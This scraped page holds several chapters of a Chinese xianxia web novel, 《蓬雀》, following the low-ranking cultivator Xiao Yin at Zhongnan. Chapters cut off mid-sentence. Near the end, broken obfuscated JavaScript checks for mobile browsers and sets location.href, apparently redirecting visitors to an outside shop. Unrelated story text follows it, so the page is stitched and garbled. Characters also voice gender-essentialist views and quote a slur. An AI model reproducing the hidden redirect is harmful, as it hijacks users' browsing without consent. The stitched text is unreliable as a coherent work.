魏正卿没想到她突然这么大声,愣了下,然后他应声,重新执缰,再然后,鬼使神差地,他居然又忍不住多看了萧隐一会儿。 片晌,他终于按捺不住问:“萧姑娘可是还觉得冷?” 为了防止风声盖过说话声,这次,他还特意微微轻身,接着魏正卿不禁一愣。 只见三尺外,正午暖融融的阳光照得刺猬头一整个毛茸茸金闪闪的,而这刺猬头正在一个劲左摇右摆,风铃似的,魏正卿愣了一阵,不由别过头轻轻失笑。 而萧隐背对他,缩在羽衣里,只觉得手脚一阵拔凉。 很奇怪,一种毛骨悚然的感觉忽然从上到下席卷了她,难以名状,她忍不住狠狠吸了一口气,可整个人还是一阵哆嗦,就算披着羽衣,她也没再觉得多暖和了。 万幸,魏正卿也没再多说什么话,沉默就这么从两人之间波涛汹涌起来。 不知过了多久,萧隐才开始觉得手脚回温,然后她慢慢认识到了,刚才她神情不属其实并不是因为什么“冷”,而是因为她经历的事。 虽然她的的确确一直都在偷摸念书,也一直都在琢磨着通过学习来让自己逆天改命,甚至她还曾有意显山露水让终南山的那位师姐赏识她来方便她走青云路,但是她真的没想过有天居然能有人把她的诗吟诵出来,真的没想过。 她更没想到的是,这么赞赏她的人中居然还能多个丁的。 一时间,萧隐如鲠在喉。二十多年以来她从来都跟丁的不对路,也从来没什么丁的对她多礼貌尊重,更别说是仰慕她的才华了。 甚至可以说,“仰慕”这两个字从丁的嘴里吐出来,几乎就让萧隐有一种古怪的感觉,她形容不出这究竟是什么体验,可她知道,魏正卿虽然舌灿莲花,但是她并不对此觉得荣幸。 她知道,魏正卿出身清贵、天赋卓绝,是个响当当的人物,至少在衡山这几年,每次他回山都声势浩大,虽然她没真的听说过魏正卿的名字(大部分人都只管魏叫“大师兄”),但是即便她自己还只是个在犄角旮旯的打杂的,也并不对魏正卿的名号(“大师兄”)陌生。 她还知道魏正卿看上去就是个典型的老好人的模样,这样的人兴许是很适合当至交好友的,毕竟他看着确实人品不差,何况不久前他还反复对萧隐释放出善意来,这简直对她这种出身寒微还资质平庸又名不经传的人来说属于“天上掉馅饼”了。 可她就是没办法悦纳魏正卿对她的褒扬。 或者再直白一点儿来说,萧隐并不为丁的说“欣赏”她就沾沾自喜,反而会警惕起来,这和她所处的环境有关也跟她窥探到的事实有关——这使得尽管这人还是她们衡山名声远扬的“大师兄”,尽管这人再三明里暗里的表示自己有意和萧隐建交,尽管这人看上去温文尔雅、风度翩翩,萧隐听着魏正卿对她的褒扬其实也只觉得浑身上下就四个字:如坐针毡。 看着魏正卿这张细皮嫩肉的脸,只要一想到这是个丁人的脸,她就会想起来紫虚元君。 “寻仙向南岳,应见魏夫人”,紫虚元君就是魏夫人魏华存,她是衡山的开山祖师,也是偌大的修真界有史以来屈指可数的女性大能。 传说,魏华存生在官宦世家,是个地地道道的豪门贵女,自幼还有慧根,一心向道,不沾风月。 可萧隐知道,她还是嫁了人,不是自愿的,是她双亲不许她一心向道不屙丁,就在她二十四岁那年把魏华存强行嫁给了一个丁人,然后她不得不屙了两个丁的才终于得以和那丁人分居并正式开始修仙。 而魏正卿就是魏华存被迫诞下的那些丁人的后代。 看着魏正卿,她还会想起来之前她在屯子里听说过的“(萧隐如果)是个带把的,就是个哑巴那铁定也能认”,还有她在衡山这个宣称“丁女平等”的场合中不经意听到的那些暗藏玄机的话术,比如: “女的到点了哪还能在宗门里留了,真正能振兴门派的从来就只有丁,丁才是根”(然后上边就把资源大幅度倾斜向丁的)、“乾上坤下,丁乾女坤,坤生来就要在乾之下,女也是不可能比丁的强的”(然后就在女的也拿了名次时对女的冷嘲热讽)、“管事这活太麻烦,操心,你们女的弄点轻巧的就好”(然后就不许女的做管事,只准她们日复一日的辛勤劳作,又说她们不争气,注定了只能做任人差遣的活儿)…… 还有那条河。 那条在她家乡的河。 她曾无数次在月光洒下来时就过去借着河流的波光看书,也曾无数次在那条河边打水还有沐浴,甚至她们村子里很多人吃水用水都是依仗那条河。 可萧隐还知道一个事,一个她家乡所有人都心照不宣的事儿:那条河里溺死了很多女婴。 几乎每年都会有人鬼鬼祟祟跑到河边或扔个布包着的小东西下去,或干脆推个小盆顺流而下,而这样的环境,萧隐接触了二十年。 这二十年,她看到了很多人对此无动于衷,也听到了很多人对此给出的理由,可那些理由其实都是虚的。 说自己养不起孩子才扔女婴的,没多久从别处抱了个丁婴就尽全力拉扯得白 15. 终南 《蓬雀》全本免费阅读 “喂,萧隐!”萧隐闻声回头。 她们这时虽然才刚刚落地,但是伶舟絮一直都是个闲不住的,几乎一看萧隐从麒麟背上下来,她就立刻奔了过去。 等到了萧隐回身偏头的时候,伶舟絮已经直接跑到了她身前,而且也在偏头与之对视,准确说,她是在看她的脸,看得很仔细,好像是想从她脸上看出来什么不一样的神思。 “你以前想过终南什么样吗?”伶舟絮凑近了问道。 萧隐没有回避她的靠近,而是想了下,点点头。 “真的哇?那你快和我说说!”伶舟絮一把抱住了萧隐的胳膊,“我还不知道别人看来终南是什么样呢!” 萧隐:“‘南山塞天地,日月石上生。高峰夜留景,深谷昼未明。山中人自正,路险心亦平。长风驱松柏,声拂万壑清。即此悔读书,朝朝近浮名’,”她望着伶舟絮道:“这是孟郊的《游终南山》,也是我当年对终南的最初印象。” “即此悔读书,朝朝近浮名……”伶舟絮喃喃自语,说完,她忽然抬头看着萧隐:“不对呀,我们这边也是读书的,而且成绩差肯定会被抓起来批评的,这人悔读书还来什么终南?” 萧隐听了微微一怔:“这句其实是说,作者去了终南山就觉得自己从前急功近利读书而忽视了大好河山确实也属于一种遗憾。” 伶舟絮有些愣住了。 她没想过原话居然是这么个意思,听萧隐一说,虽然豁然开朗,但是想起自己刚才拆文解字时的主观臆断,她还是不由愣了一阵:“哦。” 伶舟絮低着头,声音也很低,看上去似乎整个人都略微打蔫儿了,萧隐便率先换了个话题,道:“絮姑娘身上佩戴的是……” “迷谷!”听了这话,伶舟絮立刻又活跃起来,她发现萧隐在看,就索性摘下了衣襟上那枚类似于胸针的东西摊在手心里,递给萧隐看。 那是朵花,橙红色,圆滚滚一团,连着几瓣披针形叶子,玲珑可爱,像颗开花的杨梅,还发着亮闪闪的光。 其实早在衡山紫府门那时候,萧隐就发现了,伶舟絮衣襟前带着一点儿装饰物,起初她以为这只是用布料掐出来的,如今定睛一看,她才发现原来确实是植物,尤其是再联想到伶舟絮方才的话——“迷谷?”萧隐轻轻咀嚼着这两个字,似乎有点出乎意料。 而伶舟絮已经把花轻轻别回了自己衣襟,见萧隐还望着那朵花看,伶舟絮以为她还是没懂,就接着解释道: “迷谷其实是一种树,生在招摇山,形态像构树,有黑色的纹理,它的花光华照耀四方,据说人佩戴在身上不会迷路。” “我之前跟你说了嘛,我天生不认路,可这山里头待久了也没劲,我就想出门,虽说往常我和丹景都是形影不离的,而且丹景认路,我要是出门了也不至于回不来,但是我爹他还是不放心,然后有天他就专门从招摇山移植了一棵迷谷过来……我戴的这个就是迷谷的花。” 说到这里,她忽然想起来了什么,偏头看向萧隐道:“你是不是没见过迷谷开花啊?” 果然,萧隐摇头。 伶舟絮:“那待会儿我带你去看!这棵树就移植在我院子里,特别气派,等我们去膳房拿了吃的就一起在迷谷底下边聊边吃,怎么样?” 萧隐原本想点头,可她余光看见了不远处还在一起你来我往吊吊赖赖的魏正卿和老登,于是没吭声。 “好不好嘛!”伶舟絮已经拉住了她的胳膊。 萧隐沉吟:“我……” “师兄!”还不等她多说,伶舟絮那边就已经嚷开了,魏正卿闻声,先和那老登对视了一眼,见那老登看样子没什么意见,他这才转头看向了伶舟絮:“师妹何事?” 伶舟絮皱眉大声道:“你们聊完了没?大中午的,我俩都要饿昏了!”边说,她边抓着萧隐的手一起摇摇晃晃,魏正卿却并没有看她,而是顺着她的手不自觉凝望着萧隐。 老登好像察觉了什么,掀着肿泡眼瞟了魏正卿一眼,然后他突然拧紧眉毛重重咳嗽了一声,魏正卿当即反应过来:“师叔刚才已吩咐了,要将萧姑娘安顿在莞蒲院。”一席话虽然带了那老登的名号,但是他却不着痕迹抬手摸了下鼻子,似乎是尴尬,也似乎只是鼻子有些痒,总之,魏正卿悄悄回避了老登的注视。 “那么远!?”伶舟絮似乎并没有注意到魏正卿说话时有些不自然,一听他说完,她当时就直跺脚:“不行不行!我不依!” 魏正卿见状不由看向了那老登,而老登垮着脸对伶舟絮低声呵斥道:“胡闹!” 伶舟絮气鼓鼓地瞪了回来。 “莞蒲院虽然在终南外门,但是设施一应俱全,定不会亏待了萧姑娘的。”魏正卿走上前轻声说,明摆着是想安抚,可他不说还好,一说,伶舟絮更是急得跺脚:“唉呀!” “你怎么就不懂我的意思!我不是说她不能在莞蒲院住,也不是说莞蒲院不好,而是说萧隐她离我太远了!” 她掐腰看着魏正卿:“别忘了,先前你们都答应我了,她是我的人,那么等着萧隐肯定要跟我一起去昆仑墟赴宴的。我们彼此间要相处的时候还多着呢,可她又初来乍到的,很多事如果没人早早提点那么到时候岂不是更容易出乱子?莞蒲院又没人了解这些事,你们把她丢在那儿不就是耽误大事?还不如让她直接离我近点,我们也好趁早多熟悉熟悉,然后到那时再彼此有个照应!” 魏正卿听着也是一顿,“这……” 当初在衡山紫府门,伶舟絮自称选萧隐纯属对了眼缘,外加 16. 绝技 《蓬雀》全本免费阅读 “絮姑娘。”萧隐忽而唤了她一句,伶舟絮立刻应声,可顺着萧隐的手看过去,伶舟絮就有些不解了。 只见萧隐指着的是个建筑群,屋盖都是歇山顶的,临水而建,大多用白墙配着琉璃瓦,屋脊上蹲着的那几只刻成了神兽模样的石雕正在阳光下熠熠生辉,房檐下不时有衣着各异的人进进出出。 分明就是个再平常不过的东西,她疑惑地回头看看萧隐:“怎么了吗?”这有什么好看的? 萧隐却还在看:“那里是何处?看样子很热闹。” “啊,那里啊,”伶舟絮摸着下巴眯着眼细看了一下:“那儿就是莞蒲院,专门供外门学生日常居住的地方,刚才我师叔就想把你安排去那儿来着。” 说着,她给萧隐指了指那水榭楼台的外边:“你看,那些毛糙糙的就是莞蒲。” 萧隐点头,看着那些衣着各异的学生们在莞蒲院进进出出,很快,她皱了下眉:“终南……丁修居然这么多吗?” “啥???”伶舟絮掏掏耳朵,好像没听清。 萧隐:“终南山的修士是不是丁修占比很高?” 伶舟絮怔了下,“是啊。所以我每次看着女的都觉得特欢喜特面善,”她拍了拍萧隐肩膀:“不过我也不知道这面善究竟怎么回事,反正就是觉得女的对我眼缘,而且我发现我似乎有个‘绝技’,”伶舟絮说着,想了下,“虽然可能很鸡肋吧,但我真觉得挺好的。” “什么?”萧隐成功好奇起来。 伶舟絮:“我路痴,可我不脸盲,所有人的脸我都能记得住,就算是双胞胎(此处指同卵双胞胎)这种看似长得一模一样的,我也能分出来不同,女丁之间一些长相上别人看来细微的差异,我好像也能分辨出来。” 从前在衡山外门的时候,萧隐也不是没听说过有人身怀绝技,可她知道,那里头这么讲的大多数都是过得太窝囊就扯几句闲话改善心情顺便拉回面子的,真正身怀绝技的人肯定是少之又少,然而伶舟絮所说的话却一时间让萧隐实在没法怀疑,毕竟她说的这个事其实萧隐也真是平生罕见——今天前,她从没听说过有人“身怀绝技”还包括了“认脸”的,再联想到自己这些年总因为发型(刺猬头)和眉眼就被人“错认”的经历,抱着试一试的心态,她索性就同伶舟絮摊开了说了一阵,伶舟絮听完咋舌:“这得什么眼神啊?” 她盯着萧隐,上下看了一番:“你虽然颧骨较高、眉弓相对来说还比较突出,看着很刚毅,但是你眶上缘锐薄、额麟下部较为直,而上部向后向上弯曲,这些都是比较通俗的女性骨骼特征,而且最重要的是,你的耻骨弓夹角偏大、坐骨耻骨支倾向于宽且浅,耻骨联合部的接近方形……这些都显示你有女性的体态(生理体态)啊,怎么都这样了还会有人把你认成丁的啊?” 萧隐愣了。她没想到伶舟絮居然能一下子讲出来这么一长串,还掺了那么些她有的一知半解还有的甚至干脆没听说过的名词。 好半天,她才终于憋出来一句:“所以絮姑娘当初选我,可是因为认出了我是女性?” 伶舟絮也不遮掩:“是啊。我一看你就觉得你是女的,虽然你穿的衣服比较宽松,但是你的骨骼走势也会从一定程度上影响你衣服褶皱的走势,我觉得我基本能推断个八九不离十,然后当时我就琢磨着,试一下吧,横竖挑人这个事我也能说了算,找对了就算我赚了,假定我错认了,那么大不了我就把‘你’换了再挑个人。” 萧隐:“挑个女性?” 伶舟絮:“对啊。我们等着是得朝夕共处的,我可不想总跟丁的一起待着,终南的那些往常都够闹得慌了。” 说着,她忍不住搓了搓胳膊,似乎一阵恶寒。 萧隐看着伶舟絮那张小圆脸上毫不掩盖的对丁人的厌弃,不由失笑。 伶舟絮:“说起来现在我爹忙得很,和我朝夕共处的丁的好像除了师叔和书院中别的老师,也就我师兄一个,师叔和那些老师就不用说了,就说我师兄吧。往常总有人背地里说他‘二刈子’,可我觉得他也就留了个长发、眉目柔缓还性情看着温和了一点,谈不上不女不丁,毕竟女的也不一定非得等同于‘长发’、‘眉目柔缓’和‘性情温和’吧?” 萧隐颔首:“絮姑娘高见如此,萧某佩服。” 她见过很多人都觉得“女的不留长发就是丁的”、“女的剑眉星目就是丁的”、“女的性情‘刚强’就是丁的”,这种怪诞的等式让她经常哭笑不得,那些就她发型、眉眼和性情就错认她性别的事更让她觉得荒谬绝伦,毕竟“长发”、“柔美”和“温和”本就不等同于“女人”。女就是性别,女人就是性别女的人。 什么是性别?是心态,是气质,还是装扮?她只认为性别是女与男生理上的分界——性别不是可以随意混淆的,不是“想当然”的凭借只言片语或阉割改造就能完成“流动”的,性别,是由遗传因子敲定的结果。性别是即便有间性,也到底从根本上二元对立的存在。 那些人消解了性别的本质,并批判她“不‘像’女人”,可她就是女人,是性别女的人,既然她性别女,那么她是什么样,女人就是什么样。 这件事的重点本就不在她“像不像别人印象中的女人”,而是在她作为一个人她的生物性别究竟是不是“女”。 而别人是无权根据主观臆断就否认她的性别或篡改她的性别的,毕竟真正决定她性别的是遗传因子(基因),而不是所谓“长发”、“柔美”或“温和”。可是能够和她在此心念相通的,目前她也就找到了伶舟絮一个。 “何止啊。”伶舟絮叹气:“我这么多年也就找到了你这一个刺猬头的女的。” 话落她似乎有点遗憾:“其实我也想留短发的,当初我小时候据说发质不怎么好,然后我家还看重头发,认为发须和人的生命力有关,就想方设法给我养头发来着,再然后,我娘那时候还在,就给我剃了好一阵子秃子——不对,也不算太秃,”她看着萧隐的头发:“就比你这个还短一点吧,就略微有点发茬子。” “过了几年,我头发养好了,又浓又密,接着我就从此再也没剪过短发了。并不是不想,而是我们这边讲究身体发肤受之双亲,不可损伤,而我家又盯着我,我就始终剪不了头,就算剪头,也得挑日子,完后还不能剪多。不止一次,我觉得长头发洗头梳头都麻烦得很,想剃头,家里都找别的理由搪塞我,实在搪塞不过去,就和我说,‘絮儿,你这个年纪也是大姑娘了,不能耍小孩子脾气了。’真的,我 17. 忽视 《蓬雀》全本免费阅读 闻声萧隐怔了下,“实际上,就是因为丁多这才导致了女少,虽然讲出‘丁多女少’或‘女少丁多’其实都是描述同一个现象,但这现象的根源,还是不容忽视的。” 伶舟絮皱眉:“忽视?你是说‘女少丁多’这句话其实有在忽视‘女少’的这个问题吗?” 萧隐点头,可她并没有多说,这里人多眼杂,其实并不适合她们细细讨论一些事,因此她提议伶舟絮先去用餐,伶舟絮明显还有些困在刚才萧隐所说的那段话里,可一听萧隐提议先吃饭,她也没回绝,两人就这么挽着手接着走。 直到两人又手挽手往回走,从膳堂又走到了一栋富丽堂皇的宅子前,伶舟絮推门让她俩进去,萧隐都发现伶舟絮好像有些心不在焉。 “絮姑娘?”萧隐想了下,问道。 她的声音不大,可伶舟絮却忽然打了个哆嗦:“啊?” 萧隐:“你是不是有什么话想对我说?” 伶舟絮听了脸上有点愕然,可她又想起来萧隐之前自称的“绝技”,也便慢慢放松了神情。沉默片刻,她终于抬头发问:“你刚才说‘使用女少丁多来讲女性面临的问题属于忽视女性的困境’,这到底是什么意思啊?” 她皱眉:“都强调女性的存在和面临的‘女少’的局面了,怎么还能算‘忽视’呢?” 萧隐思索了下,反而问她:“絮姑娘能够把自己听到的所有事都记得清清楚楚吗?” 伶舟絮摇头:“不能啊,我有很多事最多只能记得个大概,时间再长一点……”她回想了下,“那我可能就都记不清了。” 萧隐点头:“这个很正常。每个人的记忆力和理解力其实都有限,而且因为日常琐事的牵绊,人们时间精力一分散,更多人甚至回忆起一些事的时候只能大致记起来前边,未必有那么多人都能记得住后文,所以如果想真的快速有效的记住什么,那么最好的办法就是把口号和题目都精简,让它慷锵有力且直观。” 伶舟絮附议:“我读书的时候就经常这么想,要是每个知识点都更简明扼要一些,别弄那么繁琐,我就更容易记住了。”说着,她有些苦恼地叹了口气:“真搞不懂那些人怎么把简单的事儿给复杂化的。” 萧隐却道:“用‘女少丁多’替代‘丁多女少’,实际上也是跟这些异曲同工。” 伶舟絮:“什么?”她看上去很惊诧,似乎完全没想过这种“关联”,也可能还为了这个话题跳转而有点儿发蒙:“这两个说的难道不是同一件事吗?” “‘女少丁多’和‘丁多女少’确实说的都是同一件事,”萧隐看着她,道:“但是,‘女少丁多’这个说法虽然强调了‘女少’但却把导致女少的真正原因——‘丁多’,给放在了后边,这看似是维护了女,其实是有意无意给导致女少的主要原因打掩护的一种做法。” 伶舟絮:“怎么说?” 萧隐:“就比如说,一个丁人偷了一个女人的东西,说‘女人的东西被丁偷了’和‘丁人偷了女人的东西’虽然都是指同一件事,但是,哪个句子更直观?显然还是后者直接强调了丁人所作所为的那个更直观。因为被动句所代表的是主语与谓语之间的关系是被动关系,主语是谓语动词所表示的是行为的被动者、受事者,而不是主动者、实施者,所以用被动句表示‘女人被丁人偷了东西’,就会把偷窃行为的主动者、实施者从一定程度上隐藏起来——所以这也是一种大众传媒常用的混淆视听的手段,他们通过把受事者提前,就能产生掩护实施者的效果,这会让大众下次回想起来这些事的时候普遍只记得那个‘女的’如何如何了,但却‘忘了’这个偷窃事件的实施者才是应该被重点强调起来且得到舆论压力的那个人,而那个人其实是丁的。” “‘女少丁多’这种说法,我认为也是同理,虽然这里并没有直接展示出‘被动句’,但是同样通过将女性提前来能掩饰真正的问题根源——‘丁多’,因此使用这句话其实达成了和使用被动句差不多的效果,也就可以说,‘女少丁多’这个说法实际上也是从传媒和语言上边缘化女性的一种方式,而这种方式最诡诈的一点莫过于他们还看似强调了一下女性的现状,这很容易让女性有一种自己得到了‘关心’的错觉,可是如果真正关心女性,那么就应该先真正着手去直接正视‘丁多’的这个事实。”说完,她看向了伶舟絮。 冷不丁听了她这么一长串的话,伶舟絮似乎还处于一种恍惚和不解中,过了片刻,她好像听出了萧隐的意思:“你是说,丁侵吞了女性的利益?” 萧隐应声。 伶舟絮回想:“然后你是说,女的少是因为丁多造成的,所以丁多就是女少的原因,应该予以强调?” 萧隐顿了下,“是,也不完全是。” 伶舟絮脸上顿时又露出了疑惑。 “如果真要追根求源的话,”萧隐低声道:“女少的真正原因其实是因为丁存在。” 伶舟絮瞪大了眼:“什么?” 萧隐重复道:“女少的真正原因其实是因为丁存在,因为丁存在,丁就需要获得资源来进行生存,恰好,女也存在,女就同样也需要获得资源来进行生存,然后两者之间就会产生冲突了。而为了获取更多资源来生存,丁会抢夺更多主动权,就比方说,他们会宣传‘乾坤是丁乾女坤’、‘乾为天,坤为地,乾上坤下,根据丁乾女坤,就是丁尊女卑’、‘大丈夫生来就该顶天立地争名夺利,有一番作为,而女人只有相夫教子才是正道’……通过这些手段,他们一再削弱女性,把‘柔弱的’、‘依附于丁的’标签丢给女性,并一再强调丁是‘凶悍强大的’,然后再开始更细化地针对女性,比方说:不许女人念书或打压念书的女人,说女人们念书‘没用’或‘不务正业’,从而接着巩固他们从女人手里篡夺来的权力。久而久之,大众也发现丁在这个世道更加如鱼得水,然后也潜移默化把丁看为了‘高于女性’的存在,并开始认为‘只有丁才是根,只有丁才方便振兴家族,只有丁才会兴旺师门’,再然后就进一步加剧了丁慢 18. 准备 《蓬雀》全本免费阅读 “肯定的,”伶舟絮说:“你到时候得做很多事呢,比如说,”她又咬了口果子,边嚼边开始掰手指算:“帮我收拾行李、铺床、端茶送水、熨烫衣物啥的就不用说了,还有保养我的武器、提前准备我改天所需的东西,比如刀剑、衣裳之类的,然后定时投喂丹景,外加对我随时待命……反正你要做的事真的很多很多。” 萧隐听完问道:“那我应该先接受一些培训对吗?” “对啊,”伶舟絮也点点头:“这两天你就按我上边说的学,外门内门的课表等我找给你,课表上写的就都是你需要上的课,到时候你先跟着听讲就行,现在其实还有接近半个月的时间呢,你也不用紧张,我觉得你学东西挺快的,估计没两天你就能把这些都弄熟了。” “好了先不聊这个了,你还一口都没吃呢。”她边说边开始摆手催萧隐用餐,萧隐应声,却并没有直接动筷,而是思忖了下又看向了伶舟絮。 “这次活动对随行杂役有什么硬性要求吗?” 伶舟絮听了,嚼东西的腮帮子顿了下,她回头看向萧隐。 萧隐没有回避她的注视。 伶舟絮:“你真想知道啊?” 萧隐应声。 伶舟絮看看她,“你要是真想知道那我就说了,先说好啊,我没有鄙夷你的意思。” 萧隐点头:“我知道。” “选你其实很简单,”伶舟絮道:“因为这次宴会是奔着比武去的,为了保持平正,只能带一个杂役还不许带自家的,主办方要求所有随行的杂役统一从别的地方找,而且修为必须和凡人相差无异,最多只能大于‘炼气’,小于‘炼神’,而我们这里并没有这种合适人选,找了别的几个门派,发现倒是有修为符合了标准的,可是年纪太小,根本不大能参与这种活动干那么重的活,最后我师兄想起来衡山其实有一帮杂役,都是给内门师生差遣的,然后修为都不高,年纪也正好,又不是终南这个门派的,恰好都符合规格,我们也就去了衡山。” “然后,絮姑娘也就提携了我。”萧隐陈述。 伶舟絮应声,她显然有些怕萧隐伤心,一直留心萧隐的表情,而她旁边,萧隐似乎若有所思。 其实她没觉得这些话有啥鄙夷了她,毕竟她修为低还不是终南门生都是事实,她只是想知道想知道究竟为什么终南这边会去衡山外门选杂役,而且居然选她也能行。 要说修仙的资源,终南地大物博的,自然不缺,要说人手,终南也是比衡山更密…… 先前伶舟絮反驳那老登和魏正卿时说的话萧隐也听见了,可是她还是想不通,毕竟就算莞蒲院没人知道参加这次活动的安排,那些人作为终南的外门学生,也明摆着比她更方便出入终南,而且她们还有底子,只要拿着了课程表,也许就比她还更便于理解那些课程的脉络,就是按禀赋和学习效率,想必也是相较于她更为遥遥领先。就算是选杂役,想来比起她,那些人也应该更合适一些。那么究竟为什么终南这次会选择舍近求远呢?如今她才了悟,这果然是主办方有特定的安排,这才让她阴差阳错的又捡了一回漏。 “你放心,”伶舟絮看她不说话,以为她在悄无声息的自怨自艾,便安抚她道:“等着宴会结束了,我会让我爹把你留在我身边做个伴读的。你不用再回衡山了。” 萧隐闻声,看上去有点错愕,从衡山到终南这一路,她也不是没琢磨过怎么留在终南,可她确实没想到伶舟絮居然能这么给她打包票。 伶舟絮以为她不信,赶忙又拍着胸脯补了一句:“你就把心放肚里去吧,我爹虽然忙但是他很疼我的,只要我这么一说,那他八成就能答应!” 而这时萧隐也已经缓过神来,她拱手对伶舟絮道谢。 伶舟絮摆摆手:“没事没事,”她说,“你不用那么客气嘛,反正这次也是你要操劳我的事,是我麻烦你……”说着,她忽然地往外看了一眼,神色有点紧张。 萧隐不解,跟着往外看了一眼,一无所获。“絮姑娘?”她小声问。 伶舟絮忽地把碗筷都抓紧放到她跟前:“快吃!快吃!我师兄好像御剑到附近了,他速度挺快,看样子可能是急着要过来收衣服再送你回锦箨院的——啊,这些吃的你都可以带,可我想让你多陪我待会儿,毕竟这里往常就我一个人住,终南又没几个女的,我也太无聊了。” 看萧隐还愣着,她接着催促道:“快吃哇!以他的个 19. 琼琚 《蓬雀》全本免费阅读 魏正卿听了不觉一怔,他看看伶舟絮,又看看萧隐,最终低了头,表情看上去似乎有些纠结和窘迫,萧隐却还是神色自若。毕竟她早已猜到了会是这等安排,因此,她只是放下碗筷看向伶舟絮:“絮姑娘所言在理,只是我到底并不是终南门生,岗前培训能有这样的安排已经是各位多有用心了。” 伶舟絮闻声看向她:“既然都用心了,为什么就不好人做到底?明摆着直接让你和我一起念书也是方便的,而且你还能学到更多东西以备不时之需啊。” “因为你我身份有别。”萧隐望着她,说。 果然,此话一出,伶舟絮脸上有些讶异。可能她从来都没怎么真的留心过这些差异,毕竟她拥有的都是她已经习以为常的,因此,当初在衡山紫府门前,她听到别人说魏正卿的那珠玉缰绳很难得,她会不解,这时听到萧隐把这些涉及了身份差异的事又一次直说,一时间,她也不由错愕。 萧隐想着索性都是说,不如这次一口气将话都说清楚,于是便接着道:“絮姑娘出身不凡,而萧某只是一介草民,你我虽同为女性但依然有身份、禀赋、阅历上的不同,如今终南基于多方面考虑,让我随大流跟课,其实也是合理的。” 伶舟絮看着她,目光有些惊异:“可是你学东西明明不比我差啊?而且……”“而且”什么,她看了一眼魏正卿,竟不知为何又有些说不出话了。 “出身的差异不单单是凭借学习效率就能决定的。”萧隐轻声说,“多谢絮姑娘抬爱。萧某感激不尽。”说着,她抬手给伶舟絮斟了一杯茶。 伶舟絮还有点没缓过来,只微微拧着眉,一边喝茶,一边抓了个糕饼就着吃。 魏正卿见状,适时道:“萧姑娘倘若用餐完毕了,那么就请随魏某前往锦箨院罢。” 萧隐应声起身,拾掇了课程表以后和伶舟絮道别,伶舟絮抬头看了看她,没说话,就在萧隐转头要走的时候,她突然道:“你明天别去书院了,直接来这儿等着和我一起学,我看谁敢轰你出去!” 萧隐愣了下,回头,伶舟絮也在望着她,她看见了那双剪水眸里明明白白的不服,却还是低头抱拳道:“多谢絮姑娘美意。” 没说可以,也没说不去,然后就随着魏正卿出门去了。一路无话。 魏正卿想了下,忽然道:“明日,萧姑娘其实大可以听从师妹所说。” 萧隐脚步一顿,微微拧了下眉:“什么?” 魏正卿:“师妹对萧姑娘颇为青睐,那么她必然会力保萧姑娘的,此事萧姑娘不必忧心。”说着,他稍稍侧首看向萧隐:“关于那活动,魏某不才,先前也曾参与过,因此,对于赴宴须知,魏某还是略通一二的。”他抬手从腰间解下了一样东西,双手呈递给了萧隐。 微风轻吹,阳光恰好从梧桐叶罅隙抖落,萧隐低头看着魏正卿手心的那块玉佩,色如霜雪,形如倒山,云水蓝的绳子拧作一个平结来拴着,更显整个佩饰油润细腻,萧隐虽然不通鉴宝,但是她也不难看出,这东西做工精良,绝非凡品。 魏正卿却道:“这玉佩还请萧姑娘收下,将来如有需要,可对此物默念魏某名讳,不论何时何地魏某都会尽快及时回应的。” 萧隐只是低眉看着,没有接。 不知过了多久,她抬头看向了魏正卿:“君子无故,玉不去身。魏道友好意萧某心领了。”说着,她抱拳行礼,可魏正卿又道:“无防,” 他看着萧隐,又低眉看了看这玉佩,轻声说:“此物,在下双亲曾说可以赠予至交之人,魏某对萧姑娘一见如故……” “多谢。”萧隐没有听他接着说下去,而是直接回绝道:“来而不往非礼也,可我如今身无分文,确实无法还礼,这琼琚要么还请魏道友转赠她人罢。”说完,“嗤”的一声,她又飞快将羽衣脱了下来,魏正卿显然还有些没反应过来,萧隐却已经道:“这羽衣,萧某也早该重还,更不该随意穿着招摇,然而萧某的乾坤袋地方有限又欠缺打理,不比这嚣嚣尘世多整洁几分,再者羽衣讲求宽袍大袖、衣袂翩翩,就是叠了以后捞着走,其实萧某也生怕此物沾尘……絮姑娘同萧某又是初见,乾坤袋是私用品,我总不好直接让她搭把手,因此只能暂且穿着再多加小心着等待魏道友前来取物了。” “如今道友既然来了,那么萧某便在此将羽衣物归原主了。”说着她快速将衣服叠好,呈给魏正卿。 白翟羽衣成色赛雪,丝滑如缎,手感极佳,可这时萧隐双手虽看似托着这羽衣,却并没有直接让其真的压下来,而是略微悬空,就连刚才叠衣服也并没有直接用手去碰,而是用布料包着手去打理的。 因为她手上有茧子,恐怕将这衣服刮坏了。而这还并不是她的私有物,所以哪怕在最后递还回来的时候,萧隐也是这么尽全力凝气将东西弄得轻轻飘浮着。 看出她谨小慎微仿佛如履薄冰,魏正卿下一刻便不自觉搭了把手,毕竟对于萧隐现在的修为来说,她能够让一些物品悬空一两寸已经就是用尽全力了。 魏正卿接过那羽衣的同时,萧隐终于悄悄松了一口气,然后她就听见魏正卿微微叹息了一声。

35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|12996987|123631||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 一丝坚果香混合在肉中,所以我一开始就推断松鼠肉应该比田鼠肉更好吃。当然了,人与人之间口味也不免不同,只是从个人角度,我认定田鼠肉从味道上逊色于松鼠肉。 “至于肉质,”萧隐回想,“刚才我发现松鼠肉和兔肉的味道有惊人的相似。然而,松鼠肉的味道比兔肉更加细腻。” 伶舟絮已经听得猛地咽了一下口水,萧隐道:“总的来说松鼠肉偏甜,有坚果香,肉质比兔肉细腻。虽然分量不大但味道不算很差。” 她说完的时候,伶舟絮已经吃了一大口,和萧隐说得一模一样,她连吃了两只才终于吮指停下来——不是因为吃够了,而是因为没有余粮了,所以不得不作罢。 这时已经接近了下午,橙黄色的阳光从树叶间隙抖落一块块光斑,伶舟絮擦了擦手,一抬头,忽然顿了一下,“这是……” 萧隐:“帐篷。” 伶舟絮看向她,有些惊奇:“你不是在衡山的时候从来没做过随行杂役么?怎么还会搭帐篷?” 